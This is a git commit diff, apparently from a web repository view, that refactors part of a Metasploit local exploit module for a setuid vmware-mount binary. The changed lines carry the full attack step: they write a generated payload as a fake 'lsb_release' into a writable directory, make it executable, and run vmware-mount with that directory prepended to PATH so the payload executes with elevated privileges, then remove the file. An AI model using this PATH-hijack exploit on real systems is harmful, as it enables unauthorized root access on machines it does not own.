Suggestions from OJ
parent
25ecf73d7d
commit
985838e999
|
@ -54,7 +54,7 @@ class Metasploit4 < Msf::Exploit::Local
|
||||||
}
|
}
|
||||||
))
|
))
|
||||||
register_options([
|
register_options([
|
||||||
OptString.new("WritableDir", [ true, "A directory where you can write files.", "/tmp" ]),
|
OptString.new("WRITABLEDIR", [ true, "A directory where you can write files.", "/tmp" ]),
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -71,13 +71,14 @@ class Metasploit4 < Msf::Exploit::Local
|
||||||
fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
|
fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
|
||||||
end
|
end
|
||||||
|
|
||||||
path = "#{datastore["WritableDir"]}"
|
lsb_path = File.join(datastore['WRITABLEDIR'], 'lsb_release')
|
||||||
write_file("#{path}/lsb_release", generate_payload_exe)
|
write_file(lsb_path, generate_payload_exe)
|
||||||
cmd_exec("chmod +x #{path}/lsb_release")
|
cmd_exec("chmod +x #{lsb_path}")
|
||||||
cmd_exec("PATH=#{path}:$PATH /usr/bin/vmware-mount")
|
cmd_exec("PATH=#{datastore['WRITABLEDIR']}:$PATH /usr/bin/vmware-mount")
|
||||||
# Delete it here instead of using FileDropper because the original
|
# Delete it here instead of using FileDropper because the original
|
||||||
# session can clean it up
|
# session can clean it up
|
||||||
cmd_exec("rm -f #{path}/lsb_release")
|
cmd_exec("rm -f #{lsb_path}")
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def setuid?(remote_file)
|
def setuid?(remote_file)
|
||||||
|
|
Loading…
Reference in New Issue